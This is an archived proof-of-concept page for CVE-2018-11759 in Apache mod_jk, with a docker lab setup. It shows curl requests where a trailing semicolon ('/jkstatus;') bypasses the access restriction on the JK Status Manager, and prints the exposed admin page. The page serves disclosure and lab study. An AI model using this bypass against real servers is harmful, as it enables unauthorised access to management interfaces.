POC详情: ba699472428b26862298d5de87521a18c898875b

来源
关联漏洞
标题: Apache Tomcat JK (mod_jk) Connector 路径遍历漏洞 (CVE-2018-11759)
描述:Apache Tomcat JK(mod_jk)Connector是美国阿帕奇(Apache)软件基金会的一款为Apache或IIS提供连接后台Tomcat的模块,它支持集群和负载均衡等。 Apache Tomcat JK(mod_jk)Connector 1.2.0版本至1.2.44版本中存在目录遍历漏洞。攻击者可利用该漏洞造成信息泄露。
描述
Proof of concept showing how to exploit the CVE-2018-11759
介绍
# [CVE-2018-11759](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11759) Proof of concept

## Description

The Apache Web Server (httpd) specific code that normalised the requested path before matching it to the URI-worker map in Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 did not handle some edge cases correctly. If only a sub-set of the URLs supported by Tomcat were exposed via httpd, then it was possible for a specially constructed request to expose application functionality through the reverse proxy that was not intended for clients accessing the application via the reverse proxy. It was also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical.

## POC

The proof of concept below shows how to exploit the CVE-2018-11759 as well as its impact on the information system targeted.

### Environment setup

```bash
docker-compose up -d
```

> Be patient, the process can be quite long the first time.

Once running, the vulnerable proxy will be accessible through the following address http://localhost

### Exploit

Endpoints mounted with a mod_jk JkMount directive, such as the JK status manager interface (which allows to manage AJP workers) can be set to be restricted from external access.

```bash
curl "http://localhost/jkstatus"

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
```

This restriction can be bypassed by adding a semicolon to the protected endpoint.

```bash
curl "http://localhost/jkstatus;"

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>

<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td>&nbsp;&nbsp;&nbsp;</td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td>&nbsp;&nbsp;|&nbsp;&nbsp;</td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]&nbsp;&nbsp;
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]&nbsp;&nbsp;
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>

...
```

Further information on our [blog post article](https://www.immunit.ch/blog/2018/11/01/cve-2018-11759-apache-mod_jk-access-bypass/)

## Credit

This issue was first discovered by Alphan YAVAS from Biznet Bilisim A.S. and reported responsibly to the Apache Tomcat Security Team. Additional attack vectors were identified by Raphaël Arrouas (Xel) and Jean Lejeune (Nitrax) from immunIT.
文件快照

[4.0K] /data/pocs/ba699472428b26862298d5de87521a18c898875b ├── [4.0K] client │   └── [ 90] Dockerfile ├── [ 210] docker-compose.yml ├── [4.0K] loadbalancer │   ├── [4.0K] cnf │   │   ├── [3.7K] 00-base.conf │   │   ├── [ 11K] httpd.conf │   │   ├── [1.0K] mod-jk.conf │   │   └── [ 747] workers.properties │   └── [ 734] Dockerfile └── [3.5K] README.md 3 directories, 8 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。